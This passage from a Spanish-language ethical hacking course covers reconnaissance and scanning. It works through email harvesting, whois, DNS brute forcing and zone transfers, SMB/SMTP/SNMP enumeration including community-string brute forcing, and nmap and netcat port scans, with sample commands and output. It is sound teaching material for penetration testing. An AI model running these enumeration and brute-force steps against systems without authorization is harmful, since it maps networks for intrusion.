información muy útil acerca del objetivo.

En el siguiente enlace se puede consultar algunas combinaciones muy útiles:

https://www.exploit-db.com/google-hacking-database/

2.3.1.2. E-mail harvesting

Esta técnica es muy efectiva de cara a encontrar correos electrónicos, posibles usuarios y empleados
de una organización. La recopilación de este tipo de información es útil a la hora de obtener una lista
para poder llevar a cabo ataques client-side, mapeo de usuarios en la organización, etc.

Una herramienta muy usada para este tipo de tareas es T heharvester, disponible en la distribución
Kali Linux. Esta herramienta se encarga de hacer búsquedas de correos electrónicos en diferentes
motores de búsqueda.

30/265
Imagen 2.4. Opciones de the Harvester.
Fuente: captura de Harvester.

2.3.1.3. Enumeración Whois

Whois, además de ser una herramienta muy útil para extraer información sobre el dominio de una
organización, es un servicio TCP y un tipo de base de datos. Las bases de datos whois contienen mucha
información sobre la organización, dominios que alojan, nombre del servidor, registrador y, en la
mayoría de los casos, información de contacto.

ENLACE

Whois, además de permitir la búsqueda por dominios, permite la búsqueda inversa, esto es
proporcionar la dirección IP.

ENLACE

2.3.1.4. Recon-ng

31/265
 Es un framework de reconocimiento web escrito en Python que cuenta con módulos independientes y
diferentes funciones, que proporciona un entorno bastante completo y que permite englobar todas las
pruebas de reconocimiento pasivo que se pueden llevar a cabo.

Mediante la configuración de esta herramienta se pueden llevar a cabo consultas whois, consultas en
Google, Bing y otros motores de búsqueda, listar vulnerabilidades que han sido reportadas en una
organización pero que aún no han sido solucionadas, entre otras.

Este framework permite, además, importar nuevos módulos.

Para más información sobre este framework, es posible visitar el repositorio del autor que incluye
todos los módulos disponibles y el código fuente de la misma:

https://bitbucket.org/LaNMaSteR53/recon-ng

Otras herramientas, disponibles online, muy útiles que nos pueden proporcionar más
información son las citadas a continuación:

Ripe: https://www.ripe.net/
Arin: https://www.arin.net/
Shodan: https://www.shodan.io/
Robtex: https://www.robtex.com/
Archive.org: http://archive.org
Pastebin: https://pastebin.com/
Github: https://github.com/
FOCA: https://www.elevenpaths.com/es/labstools/foca-2/index.html

2.3.2. Reconocimiento activo

Una vez que hemos recopilado la información necesaria sobre nuestro objetivo en la fase anterior, nos
disponemos a analizar servicios específicos. Se van a utilizar diferentes herramientas que serán descritas
en este apartado.

La recopilación de información activa puede ser detectada por el objetivo al ser un comportamiento
malicioso o sospechoso. Durante esta etapa, estamos activamente mapeando la infraestructura de red
(pensemos en un escaneo de puertos completo nmap -p1-65535), enumerando máquinas o analizado una
vulnerabilidad en un servicio abierto, estamos buscando activamente servidores, archivos y directorios.
La mayoría de estas actividades se realizan durante las fases de "reconocimiento" o "exploración" dentro
de las fases del hacking ético.

2.3.2.1. Enumeración DNS

32/265
 Los servidores DNS ofrecen una serie de datos que se encuentran disponibles de forma pública sobre
organización de servidores como direcciones IP, nombres de servidores, funcionalidad de estos, etc.

Un servidor DNS normalmente divulgará información de DNS y de servidor de correo para el dominio
sobre el que tiene autoridad. Esto es necesario, ya que las solicitudes públicas de direcciones de correo y
de servidores DNS constituyen la experiencia básica de Internet.

Examinando el dominio Microsoft.com, vamos a utilizar el comando host con el parámetro -t para
llevar a cabo descubrimiento tanto de servidores DNS como de servidores de correo:
ENLACE

De forma predeterminada, cada dominio configurado debe proporcionar, al menos, el DNS y los
servidores de correo responsables del dominio. Dentro de esta técnica, existe la posibilidad de
automatizar este proceso. Es posible emplear consultas DNS adicionales para el descubrimiento de
hostnames y direcciones IP que puedan pertenecer a la organización objetivo.
ENLACE

Para comparar las salidas que pueda tener la ejecución de diferentes búsquedas, el resultado de
buscar subdominios de la organización analizada es:

root@kali:~# host idontexist.microsoft.com

Host idontexist.microsoft.com not found: 3(NXDOMAIN)

Otra técnica que es posible llevar a cabo es aplicar fuerza bruta para obtener los diferentes
subdominios que forman parte de la organización. Para ello, con un script en bash básico es posible
ejecutar el comando host que lea un fichero de entrada con diferentes subdominios:

ENLACE

33/265
Lookup y reverse lookup

La enumeración de fuerza bruta de DNS realizada anteriormente reveló un conjunto de direcciones

IP dispersas. Si el administrador de DNS de microsoft.com configuró registros PTR para el dominio,
podríamos encontrar más nombres de dominio que se perdieron durante la fase de búsqueda avanzada
de fuerza bruta al sondear el rango de estas direcciones encontradas en un bucle.

ENLACE

Ha sido posible enumerar diferentes subdominios que tiene publicado Microsoft.com.

Transferencias de zona DNS

L a transferencia de zona es similar a una base de datos replicada de un servidor DNS. Este
proceso incluye la copia del archivo de zona desde un servidor DNS maestro a un servidor esclavo. El
archivo de zona contiene una lista de todos los nombres DNS configurados para esa zona.

La transferencia de zona debería limitarse normalmente a servidores DNS esclavos autorizados. Sin
embargo, muchos administradores configuran mal sus servidores DNS, y como resultado, cualquiera
que pregunte por una copia de la zona del servidor DNS recibirá una.

Todos los nombres, direcciones y funcionalidades de los servidores pueden estar expuestos a
cualquier usuario.

Una transferencia de zona exitosa no tiene como consecuencia directa una violación de la red. Sin
embargo, facilita el proceso.

Se puede emplear la siguiente sintaxis del comando host para realizar una transferencia de zona.

host -l <domain name> <dns server address>

En este caso, los servidores de Microsoft están configurados apropiadamente y no se permite la

transferencia de zona.

ENLACE

Un ejemplo de transferencia de zona exitosa puede ser la siguiente, utilizando una organización de
prueba.

ENLACE

34/265
 Enumeración DNS con herramientas conocidas

dnsrecon

(https://github.com/darkoperator/dnsrecon): es un script programado en Python que automatiza

todo el proceso explicado.

Vamos a realizar esta prueba sobre el dominio de prueba megacorpone.com.

ENLACE

dnsenum

Este script funciona de forma similar a dnsrecon. Intenta realizar transferencias de zona en un
dominio dado.

ENLACE

2.3.2.2. Enumeración SMB

Server Message Block , conocido como SMB, es un protocolo de red cuyo objetivo es compartir
archivos, impresoras, etc., entre máquinas pertenecientes a una misma red de ordenadores.

El historial de seguridad de este protocolo ha sido deficiente durante más de una década, debido a su
compleja implementación y a su naturaleza abierta. Las debilidades de este protocolo van desde la
existencia de sesiones nulas de SMB no autenticadas, en Windows 2000 y XP, hasta una gran cantidad
de errores de SMB y vulnerabilidades a lo largo de los años, la más conocida y reciente EternalBlue.

El protocolo SMB ha sido actualizado y mejorado en paralelo con cada lanzamiento del sistema
operativo Windows. La evolución de versiones de este protocolo según el sistema operativo es:

SMB1 - Windows 2000, XP y Windows 2003

SMB2 - Windows Vista SP1 y Windows 2008
SMB2.1 - Windows 7 y Windows 2008 R2
SMB3 - Windows 8 y Windows 2012

35/265
 Escaneando el servicio NetBIOS

El servicio NetBIOS escucha en los puertos TCP y UDP 139 y 445. Este servicio se puede escanear
con nmap y se puede utilizar una sintaxis como la siguiente:

root@kali:~# nmap -v -p 139,445 -oG smb.txt 10.10.10.1-254

Otra herramienta que nos ayuda a analizar este servicio es ntbscan.

ENLACE

Enumeración de sesiones NULL

Una sesión NULL se refiere a una sesión NetBIOS no autenticada entre dos ordenadores. Esta
característica permite que los equipos no autenticados obtengan listas de navegación de otros
servidores de Microsoft.

Una sesión nula conlleva que se exponga información sensible (políticas de contraseñas, nombres
de usuario, nombres de grupo, nombres de equipos, ID de usuario y de host) que puede ser utilizada
por un atacante para llevar a cabo ataques más sofisticados. Esta característica de Microsoft existía en
SMB1 de forma predeterminada y fue restringida en versiones posteriores.

Una herramienta que nos facilita la enumeración de esta información es enum4linux. Esta
herramienta está escrita en Perl y su finalidad es obtener información de sistemas Windows y Samba.
Otras herramientas similares que se pueden usar son smbclient, rpcclient, net y nmblookup.

ENLACE

Por otro lado, nmap dispone de scripts específicos para analizar este servicio, tal como se comentó
en el apartado anterior.

ENLACE

2.3.2.3. Enumeración SMTP

El protocolo Simple Mail Transfer Protocol , conocido como SMTP es un protocolo de red utilizado
para el intercambio de mensajes de correo electrónico. Suele asociarse a otros protocolos como POP3 o
IMAP, utilizándose SMTP para correo de salida, y los otros para correo entrante.

Algunos servidores de correo suelen estar mal configurados y mediante técnicas de enumeración es
posible obtener información sobre el host objetivo. SMTP suele disponer de comandos como VRFY o
EXPN, que sirven para verificar los usuarios existentes en un servidor de correo, lo que más tarde puede
ayudar al atacante.

ENLACE

2.3.2.4. Enumeración SNMP

36/265
 Simple Network Management Protocol (SNMP) es un protocolo basado en UDP, que facilita el
intercambio de información entre dispositivos de una misma red, un protocolo simple, sin estado y, por
lo tanto, es susceptible a IP spoofing y ataques de repetición. Además, los protocolos SNMP 1, 2 y 2c de
uso común no ofrecen cifrado de tráfico, lo que significa que la información y las credenciales SNMP se
pueden interceptar fácilmente a través de una red local. Los protocolos SNMP tradicionales también
tienen esquemas de autenticación débiles y, por lo general, son configurados con el protocolo por
defecto public y con community strings privados.

El árbol MIB de SNMP

Management Information Base de SNMP es una base de datos que contiene información
relacionada con la administración de la red. Está organizado en forma de árbol, cuyas ramas
representan las diferentes organizaciones o funciones de red. Cada hoja de árbol corresponde a
valores de variables específicas de un endpoint a las que se puede acceder.

Imagen 2.5. Ejemplo de árbol MIB.

Fuente: Wikipedia.

Los siguientes valores corresponden a los parámetros SNMP específicos de Windows.

Imagen 2.6. Parámetros SNMP.

Fuente: elaboración propia CyberAcademy.

37/265
 Escaneando el protocolo SNMP con nmap

Se puede utilizar la siguiente sintaxis:

root@kali:~# nmap -sU --open -p 161 10.11.1.1-254

Además de nmap, la herramienta onesixtyone tratará de comprobar si hay community strings

disponibles en los hosts objetivo, empleando fuerza bruta:

root@kali:~# onesixtyone -c Desktop/community 10.11.1.115

Scanning 1 hosts, 3 communities

10.11.1.115 [public] Linux tophat.acme.com 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003
i686

Escaneando el protocolo SNMP con snmpwalk

Esta herramienta es otra alternativa que es capaz de acceder a la información SNMP. Para poder
leer los MIB previamente comentados, necesitamos conocer el nombre de la comunidad, por lo que lo
primero será lanzar un escaneo nmap sobre el activo para averiguarlo:

ENLACE

Hemos averiguado que la comunidad SNMP es “public”. Con esta información procedemos a
lanzar la herramienta snmpwalk.

ENLACE

III. Escaneo

3.1. Introducción
Una vez que se ha finalizado la fase de reconocimiento, en la que se obtiene una primera visión
general de la infraestructura objetivo, conviene seguir ampliando esta información a través de una fase
de escaneo de la infraestructura, en la cual trataremos de tener una visión más detallada del objetivo.

A lo largo del siguiente apartado iremos descubriendo una metodología tipo de escaneo y su teoría
asociada. Además, se mostrará el uso de las herramientas utilizadas durante esta fase, si bien es cierto
que varias de las herramientas descritas ya se introdujeron en la fase de reconocimiento, el uso que se
hará de ellas estará orientado a esta nueva fase. Asimismo, se mostrarán nuevas herramientas propias de
esta fase de escaneo.

3.2. Teoría

38/265
 Una vez que se ha realizado una primera enumeración de la infraestructura objetivo es necesario
ampliar la información que disponemos sobre esta infraestructura; cuanto más conocimiento tengamos
sobre la misma, dispondremos de más opciones para intentar hacernos con el control de ciertas partes de
esta. Debido a que seremos capaces de aplicar, con más efectividad, ciertas tácticas, técnicas y
procedimientos que mejor se adapten a cada caso particular.

Normalmente, el tipo de información que trataremos de recolectar en esta fase irá dirigido a tener una
visión más amplia de la infraestructura de red, sistemas operativos desplegados, tipos de servicios que se
proporcionan y versiones de los mismos, posibles vulnerabilidades conocidas que puedan darse en la
infraestructura, etc.

Aunque existen diversas aproximaciones, a la hora de dividir los distintos tipos de escaneo en los que
se divide esta fase, podremos diferenciar los siguientes tipos de escaneo:

Escaneo o descubrimiento de red

Aunque pueda parecer lo contrario, este tipo de escaneo resulta de vital importancia a la hora de
tener una visión más general del entorno objetivo, direccionamiento IP del mismo y arquitectura de
sistemas que lo componen.

Escaneo o descubrimiento de servicios

Una vez que se dispone de una visión general acerca de la infraestructura objetivo, se han de
comprobar los servicios y tecnologías que se están prestando servicio en cada sistema localizado.

Este tipo de escaneo engloba una primera parte de escaneo de puertos, en la que se enumeran todos
los puertos TCP o UDP que se encuentran habilitados en los sistemas objetivo, así como la
identificación del servicio pertinente y versión del mismo, que se encuentra operando en el puerto
identificado.

Escaneo o búsqueda de vulnerabilidades

Para concluir con la fase de escaneo y dado que disponemos ya de una información más detallada
de la infraestructura y servicios del objetivo que se va a analizar, se puede realizar un escaneo de
vulnerabilidades conocidas en la infraestructura.

Dado que, gracias al escaneo de puertos, hemos obtenido los servicios y versiones de los mismos
que se encuentran prestando servicio, es fácil comprobar si una determinada versión de un programa o
servicio se encuentra afectado por alguna vulnerabilidad conocida.

Además de los tipos de escaneo expuestos previamente, se ha de tener en cuenta la perspectiva o

posicionamiento de la que se dispone para escanear el objetivo.

Dependiendo de este tipo de perspectiva se obtendrán distintos resultados. No es lo mismo tratar de

escanear y averiguar los servicios disponibles en el perímetro externo de un determinado objetivo que
realizar la misma acción desde la red interna.

39/265
En este sentido, podemos tener en cuenta las siguientes perspectivas de escaneo.

Escaneo interno

En este tipo de perspectiva, el posicionamiento desde donde se realizarán las pruebas es en algún
segmento de la red interna del objetivo.

Dependiendo de la estructura y segmentación de la red interna, podremos obtener distintos

resultados, dependiendo del segmento de red en el que nos encontremos.

También se ha de tener en cuenta que los servicios y tecnologías expuestos en la red interna
varían en canto a los expuestos en el perímetro de red. Por ejemplo, en la red interna podremos
encontrarnos con servicios de Directorio Activo que aportan granularidad a los servicios de
autenticación y autorización a los recursos dependiendo de un sistema de usuarios y roles
específico, podemos encontrarnos servicios específicos no expuestos en el perímetro como
sistemas de facturación y contabilidad, sistemas de videovigilancia, sistemas de control de las
instalaciones, etc.

Escaneo externo

Por el contrario, en este otro tipo de enfoque, el posicionamiento que se realiza es desde fuera de
la entidad objetivo. De esta manera y en una primera instancia, únicamente se tiene acceso a
escanear el perímetro externo del objetivo; teniendo visibilidad, únicamente, sobre los servicios
expuestos en internet. Por ejemplo, servicio de correo, intranet, servicio web, etc.

40/265
 Imagen 2.7. Explicación escaneos interno y externo.
Fuente: imagen editada de http://www.mind.co.jp/en/service/security/network.html.

En los siguientes apartados, se introducirán las herramientas comúnmente utilizadas para tal fin, si
bien es cierto que pueden existir otras herramientas además de las expuestas, las utilizadas en el
documento son las más extendidas y utilizadas.

Por otro lado, varias de las herramientas expuestas podrán utilizarse en los distintos tipos de
escaneo debido a su versatilidad.

3.3. Descubrimiento de red

Tal y como se describió en el apartado anterior, el descubrimiento de red trata de averiguar cómo se
encuentra estructurada toda la arquitectura de sistemas por los que está compuesto el objetivo, distinto
direccionamiento IP utilizado, la segmentación aplicada en la red, visibilidad dentro de cada segmento,
etc.

Cada entorno objetivo dispondrá de una estructura totalmente distinta y, debido a esta heterogeneidad,
se hace indispensable la ejecución de esta fase que nos permitirá tener una primera visión, más general,
del entorno en el que nos encontramos. Esto nos permitirá adaptarnos a él y adaptar los siguientes
escaneos al entorno de las pruebas.

41/265
Imagen 2.8. Explicación escaneos interno y externo.
Fuente: elaboración propia CyberAcademy.

Además, en este tipo de descubrimiento, también trataremos de averiguar el tipo de dispositivo

conectado (equipo, servidor, switch, router, punto de acceso, etc.), así como el sistema operativo que
está ejecutando cada dispositivo.

3.3.1. Descubrimiento de hosts mediante ICMP

El primer paso a la hora de escanear consiste en descubrir el número de hosts que hay en un
determinado rango de red objetivo. Normalmente las técnicas utilizadas desde una perspectiva de
posicionamiento externo pueden utilizarse en un descubrimiento que se realice desde un posicionamiento
interno. Sin embargo, en caso de encontrarnos posicionados en la red interna del objetivo se podrán
utilizar una serie de técnicas disponibles únicamente para este tipo de análisis desde una perspectiva
interna.

La técnica más común de descubrimiento consiste en las consultas mediante mensajes ICMP ( Internet
Control Messaging Protocol). Sin adentrarnos mucho en la explicación del protocolo, la petición se
compone de unos paquetes de tipo petición-respuesta. Mediante este protocolo puede diagnosticarse el
estado, velocidad y calidad de una red determinada. Se encapsula dentro del datagrama IP, con lo cual va
asociado a una dirección IP en concreto.

Utilizaremos herramientas que utilizan este protocolo para realizar consultas de manera directa contra
una dirección IP o un rango ellas. Como respuesta obtendremos un paquete ICMP con un código ICMP
con el que se puede determinar si no se puede acceder a la red, si se obtuvo o no respuesta del host
consultado, etc.

42/265
 Para más información del funcionamiento del protocolo ICMP, se recomienda consultar el
siguiente enlace:

https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol

Descubrimiento de host con herramienta ping

Utiliza el protocolo ICMP para consultar el estado de una determinada dirección IP, una limitación
de ping consiste en que únicamente se puede consultar el estado de una dirección IP en cada iteración
del comando.

A continuación, se muestra la ejecución de la herramienta ping indicando una dirección IP que se

encuentra activa.

Imagen 2.9. Ejecución de la herramienta ping indicando una dirección IP activa.

Fuente: elaboración propia.

Por el contrario, en el siguiente ejemplo se indica una dirección IP que no se encuentra activa.

Imagen 2.10. Ejecución de la herramienta ping indicando una dirección IP no activa.

Fuente: elaboración propia.

43/265
Descubrimiento de host con herramienta hping3

Al igual que ping permite el descubrimiento de equipos remotos mediante mensajes ICMP; sin
embargo, hping3 permite mucha más personalización en la confección del paquete ICMP. Además,
también soporta la confección de paquetes de capa 4 (TCP y UDP).

A continuación, se muestra la ejecución de la herramienta hping3 indicando una dirección IP que se

encuentra activa.

Imagen 2.11. Ejecución de la herramienta hping3 indicando una dirección IP activa.

Fuente: elaboración propia.

Por el contrario, en el siguiente ejemplo se indica una dirección IP que no se encuentra activa.

Imagen 2.12. Ejecución de la herramienta hping3 indicando una dirección IP no activa.

Fuente: elaboración propia.

Como se puede comprobar, su funcionamiento básico es bastante similar a ping.

Descubrimiento de host con herramienta nmap

Nmap es la herramienta de escaneo de red más versátil que existe actualmente y por ello, también
es la más utilizada. Aunque se encuentra más orientada al descubrimiento de puertos y servicios,
también posee un módulo para realizar consultas ICMP para averiguar equipos activos dentro de un
determinado rango de red.

A diferencia de ping y hping3, puede realizar la consulta sobre un rango concreto de direcciones IP.

44/265
Imagen 2.13. Consulta sobre un rango concreto de direcciones IP.
Fuente: elaboración propia.

Dependiendo del tipo de red objetivo, es posible que el tráfico ICMP se encuentre restringido. En
ese caso, aunque se realice una consulta sobre una dirección IP, aunque el host que se encuentre tras
esa dirección IP se encontrase activo, el router filtraría el paquete ICMP y nunca llegaría a su destino
y parecería que el sistema remoto no se encuentra disponible.

En otras ocasiones, en vez de filtrar el protocolo ICMP, el router responde a todos los mensajes
como si el host se encontrase disponible. De esta manera, utilizando únicamente el protocolo ICMP
no se podría averiguar si el host se encuentra activo o sin conectividad. La siguiente captura de
pantalla ilustra este comportamiento.

Imagen 2.14. Protocolo ICMP.

Fuente: elaboración propia.

En estos casos, se puede recurrir a una técnica conocida como port sweep, en la cual se consulta a
un determinado puerto o conjunto de puertos que creamos que se pueda encontrar disponible en el
host remoto. Si alguno de los puertos consultados responde como activo, significa que el host remoto
se encuentra operativo, aunque no responda a ping.

Por ejemplo, desde una perspectiva externa, se podría consultar a un determinado rango de red por
los 100 puertos más utilizados. A modo de muestra, se ha realizado un escaneo al puerto TCP 80 en la
red anterior. Como se puede comprobar, solo se identifican los hosts que tienen abierto el puerto TCP
80.

45/265
Imagen 2.15. Escaneo al puerto TCP 80.
Fuente: elaboración propia.

De manera contraria, desde una perspectiva interna, lo más normal es que nos encontrásemos en el
segmento de Directorio Activo de una determinada entidad. Dado que el Directorio Activo utiliza el
puerto TCP 445 para establecer la comunicación entre los equipos, se podría realizar un escaneo
únicamente al puerto TCP 445 de un determinado rango de red para determinar los equipos que se
encontrasen operativos.

46/265
 Descubrimiento de host con herramienta Zenmap

Zenmap es una interfaz gráfica para utilizar nmap de manera más cómoda y poder ver los
resultados de una manera más clara y visual.

Al instalarlo, lleva embebido el motor de nmap, con lo que no hace falta instalar ninguna
dependencia adicional. Dispone de unas funciones básicas para operar “a golpe de ratón”, además,
dispone de una pequeña ventana de terminal en la que realizar operaciones directamente en sintaxis
de nmap.

De esta manera, todos los ejemplos que se exponen en el módulo para realizar mediante nmap se
pueden realizar sobre Zenmap sin ningún tipo de operadores o instrucciones adicionales.

Imagen 2.16. Interfaz de Zenmap.

Fuente: captura de Zenmap (https://nmap.org/zenmap/).

3.3.2. Descubrimiento de hosts mediante ARP

Esta técnica se basa en el funcionamiento del protocolo ARP que se encarga de tener una asociación
entre una determinada dirección IP (capa 3 del modelo OSI) y la dirección Ethernet (capa 2 del modelo
OSI) a través de la cual se ha de encaminar la trama Ethernet para llegar a la dirección IP solicitada.

47/265
 Para ello, envían mensajes broadcast de tipo ARP Discovery en la que se consulta en todo el dominio
d e broadcast si alguien tiene asignada una dirección IP en concreto. Si alguno de los equipos tiene
asignada la dirección IP solicitada, le responde al equipo que realizó la consulta.

Dado el funcionamiento del protocolo, es una técnica que únicamente suele funcionar desde una
perspectiva de escaneo interna. Además, como utiliza un protocolo distinto a ICMP, aunque los paquetes
ICMP se encuentren filtrados en la red, el descubrimiento de equipos activos con esta técnica resulta
satisfactorio.

Descubrimiento de host con herramienta arp-scan

Permite el descubrimiento de equipos remotos mediante mensajes broadcast de tipo ARP

Discovery y permite indicar la interfaz de red desde donde se quiere realizar el escaneo.

La siguiente captura de pantalla muestra el escaneo de un rango IP clase C a través de arp-scan.

Imagen 2.17. Descubrimiento de host con apscan.

Fuente: captura de la herramienta arp-scan.

Descubrimiento de host con herramienta netdiscover

De manera similar a arp-scan, netdiscover permite el descubrimiento de equipos remotos mediante

mensajes broadcast de tipo ARP Discovery. La salida es en modo monitorización; sin embargo, tiene
un modo parseable (operador -L) que permite la redirección a un fichero.

La siguiente captura de pantalla muestra el escaneo de un rango IP clase C a través de arp-scan.

Imagen 2.18. Escaneo de rango IP con arp-scan.

Fuente: captura de la herramienta arp-scan.

3.3.3. Descubrimiento de dispositivos y configuración de red

48/265
 De la misma manera, es conveniente poder descubrir el equipamiento de red implicado en la topología
de la infraestructura (routers, switches, etc.). De esta manera, podremos hacernos una idea más fidedigna
de la topología y podríamos entender y resolver posibles problemas que puedan surgirnos de cara a
realizar la fase de escaneo u otras fases posteriores, por ejemplo, filtrado de ciertos protocolos o puertos,
inspección de paquetes, etc.

Descubrimiento de routers mediante herramienta traceroute

La herramienta traceroute utiliza el protocolo ICMP para averiguar el enrutamiento que se

establece entre dos puntos de la red. De esta manera, si alguno de los routers implicados no filtra este
tipo de mensajes, se obtiene un listado de los routers que intervienen en el establecimiento de la
comunicación.

Imagen 2.19. Descubrimiento de routers con traceroute.

Fuente: captura de la herramienta traceroute.

Descubrimiento de configuración de red mediante herramienta Wireshark

La herramienta wireshark es una herramienta de monitorización de red que nos permite analizar el
tráfico que llega hasta nuestra interfaz en las distintas capas del modelo OSI.

Dado que bastantes dispositivos de red utilizan protocolos que emiten mensajes en formato
broadcast para transmitirse información e incluso la configuración de la red, podemos analizar el
tráfico de este tipo que llega a nuestra interfaz.

Por ejemplo, en la siguiente captura de pantalla se observa un paquete del protocolo CDP ( Cisco
Discovery Protocol) en el que se observa que el propio protocolo envía información del modelo del
dispositivo (un switch Catalyst 2960), versión del sistema operativo que se encuentra en ejecución,
dirección IP de gestión del switch, las distintas VLAN que existen en la topología, etc.

49/265
Imagen 2.20. Descubrimiento de configuración de red con Wireshark.
Fuente: captura de la herramienta Wireshark.

En este otro paquete multicast (protocolo LLDP) se puede observar que existe un servidor de VoIP
Avaya que difunde sus características de configuración, tipo, modelo, versión del software, dirección
IP, etc.

50/265
Imagen 2.21. Descubrimiento de configuración de red con Wireshark.
Fuente: captura de la herramienta Wireshark.

También podemos observar otros protocolos de broadcast que nos pueden dar más información
sobre el direccionamiento utilizado, en este caso, interceptamos varios paquetes ARP Discovery en
los que se observa el rango de red utilizado en el segmento en el que nos encontramos.

51/265
 Imagen 2.22. Descubrimiento de configuración de red con Wireshark.
Fuente: captura de la herramienta Wireshark.

Descubrimiento del sistema operativo mediante herramienta nmap

Nmap tiene entre sus muchas cualidades, la capacidad de averiguar el sistema operativo que se está
ejecutando por debajo del host objetivo. Los sistemas operativos tienen diferentes implementaciones
en la pila TCP/IP, como por ejemplo que cada uno tiene diferente valor del TTL por defecto. Nmap se
encarga de analizar este tráfico enviado y recibido desde el host objetivo y, de esta manera, es capaz
de indicar el sistema operativo que se está ejecutando.

Esta herramienta incluye un operador - O con el que se fuerza a averiguar la versión del sistema
operativo que ejecuta el sistema remoto.

Imagen 2.23. Descubrimiento de sistema operativo con nmap.

Fuente: captura de la herramienta nmap.

3.4. Descubrimiento de servicios

Una vez que disponemos un primer diagrama de la red y de los equipos y sistemas disponibles,
recogido del descubrimiento de red, es necesario conocer, de una manera más detallada, los servicios
disponibles en cada sistema, así como el tipo y versión de estos y el puerto en el que se encuentra
disponible.

52/265
3.4.1. Enumeración de puertos

La enumeración de puertos consiste en averiguar los puertos TCP o UDP que se encuentran
operativos en cada sistema identificado. Es necesario tener en cuenta el impacto que puede tener en la
red el tipo de escaneo que se lance.

La manera más efectiva de conocer si un determinado puerto se encuentra habilitado consiste en

establecer una comunicación TCP o UDP, dependiendo del protocolo que se requiera consultar, en cada
puerto específico del que queramos tener constancia. Dependiendo de la respuesta devuelta (o en el caso
del protocolo UDP, si no se obtiene respuesta por el sistema al que se le está realizando la consulta)
podremos averiguar si el puerto consultado se encuentra habilitado para realizar una comunicación o no.

En los sucesivos subapartados se indican las técnicas utilizadas para el descubrimiento de puertos.
Aunque nos centraremos en el uso de la herramienta nmap, también se introducirán algunos ejemplos de
otras herramientas como nc y Zenmap.

Escaneo TCP

Es el tipo por defecto de escaneo en nmap. Intenta una conexión TCP completa ( three-way
handshake) y si el puerto se encuentra abierto, se completará la conexión; en caso contrario, el puerto
se considera cerrado. Una de las principales desventajas de este tipo de escaneo es que es fácilmente
detectable y, por tanto, los fabricantes de sistemas firewall suelen incorporar mecanismos de defensa
para evitar este tipo de escaneos.

A continuación, se muestran dos ejemplos, uno con netcat y otro con nmap:

root@kali:~# nc -nvv -w 1 -z 10.11.1.223 443-445

(UNKNOWN) [10.11.1.223] 445 (microsoft-ds) open

(UNKNOWN) [10.11.1.223] 444 (snpp) : Connection refused

(UNKNOWN) [10.11.1.223] 443 (https) open

sent 0, rcvd 0

Imagen 2.24. Escaneo TCP con netcat.

Fuente: captura de la herramienta netcat.

53/265
Imagen 2.25. Escaneo TCP con nmap.
Fuente: captura de la herramienta nmap.

Escaneo UDP

Dado que el protocolo UDP es un puerto que no se encuentra orientado a la conexión, la operativa
normal es que el sistema remoto no envíe ningún tipo de confirmación de recepción de los paquetes.

Debido a las características del protocolo, este tipo de escaneo realiza el envío de una cabecera
UDP para cada puerto objetivo. Si se obtiene un error ICMP que indica que el puerto no es
alcanzable (tipo 3, código 3), entonces se marca el puerto como cerrado. Si se recibe cualquier error
ICMP no alcanzable (tipo 3, códigos 1, 2, 9, 10 o 13) se marca el puerto como filtrado. En algunas
ocasiones se recibirá una respuesta al paquete UDP, lo que prueba que el puerto está abierto. Si no se
ha recibido ninguna respuesta después de algunas retransmisiones entonces se clasifica el puerto
como abierto|filtrado.

Imagen 2.26. Escaneo UDP con nmap.

Fuente: captura de la herramienta nmap.

Escaneos SYN

En este tipo de escaneo se envía un paquete SYN al puerto y espera la respuesta del equipo remoto,
pero sin llegar a completar la conexión. La principal ventaja con respecto al escaneo TCP es que es
bastante más rápido al no completarse la conexión. Sin embargo, al igual que el escaneo TCP, es

54/265
fácilmente detectable y, por tanto, los fabricantes de sistemas firewall suelen incorporar mecanismos
de defensa para evitar este tipo de escaneos.

A esta técnica se la conoce habitualmente como sondeo medio abierto, porque no se llega a abrir
una conexión TCP completa. Se envía un paquete SYN, como si se fuera a abrir una conexión real y
después se espera una respuesta. Si se recibe un paquete SYN/ACK esto indica que el puerto está en
escucha (abierto), mientras que si se recibe un RST (reset) indica que no hay nada escuchando en el
puerto. Si no se recibe ninguna respuesta después de realizar algunas retransmisiones, entonces el
puerto se marca como filtrado. También se marca el puerto como filtrado si se recibe un error de tipo
ICMP no alcanzable.

Con la herramienta nmap, se puede realizar un sondeo utilizando el comando -sS

Imagen 2.27. Escaneo SYN con nmap.

Fuente: captura de la herramienta nmap.

Escaneo XMAS

En este tipo de escaneo se envía una conexión de tipo TCP con los flags ACK, RST, SYN, URG y
PSH activados. En caso de que el puerto se encuentre cerrado, el sistema remoto envía un paquete
RST, en caso de no recibir respuesta, se considerará el puerto como abierto. Como principal ventaja,
evita la detección del escaneo por ciertos IDS; como punto en contra, solo funciona en sistemas que se
adecuen a la normativa RFC 793 (Sistemas UNIX).

Imagen 2.28. Escaneo XMAS con nmap.

Fuente: captura de la herramienta nmap.

55/265
Escaneo FIN

Este tipo de escaneos es muy parecido al anterior, se envía un paquete TCP tipo FIN al sistema
remoto. Si no se recibe ninguna respuesta, el puerto se considera cerrado; en caso de que el sistema
remoto devuelva un paquete de tipo RST, el puerto se considerará como abierto. Como principal
ventaja, evita la detección del escaneo por ciertos IDS o firewalls.

Imagen 2.29. Escaneo FIN con nmap.

Fuente: captura de la herramienta nmap.

Escaneo NULL

Este tipo de escaneos es muy parecido al anterior, se envía un paquete TCP sin establecer ningún
tipo de flag al sistema remoto. Si no se recibe ninguna respuesta, el puerto se considera cerrado; en
caso de que el sistema remoto devuelva un paquete de tipo RST, el puerto se considerará como
abierto. Como principal ventaja evita la detección del escaneo por ciertos IDS o firewalls.

Imagen 2.30. Escaneo NULL con nmap.

Fuente: captura de la herramienta nmap.

56/265
 Como conclusión a este apartado de escaneo de puertos, hay que tener en cuenta varios
aspectos a la hora de realizar este tipo de escaneo:

El escaneo de puertos UDP a menudo no es fiable en su totalidad, ya que los firewall

y enrutadores pueden filtrar los paquetes ICMP. Esto puede conducir a falsos positivos
en el escaneo y es posible obtener de forma regular resultados donde se muestran
todos los puertos UDP abiertos en el host escaneado.
La mayoría de los escaneos de puertos no analizan todos los puertos disponibles y
normalmente tienen una lista preestablecida de "puertos interesantes" que se analizan.
Para poder lanzar escaneos personalizados a los puertos deseados, las herramientas
utilizadas para esto cuentan con diferentes combinaciones de parámetros para ajustar
el escaneo a las necesidades.

Lecturas recomendadas:

https://nmap.org/man/es/man-port-scanning-techniques.html

3.4.2. Enumeración de servicios y versión

Dado que ya disponemos de los sistemas que se encuentran disponibles en la red, así como los puertos
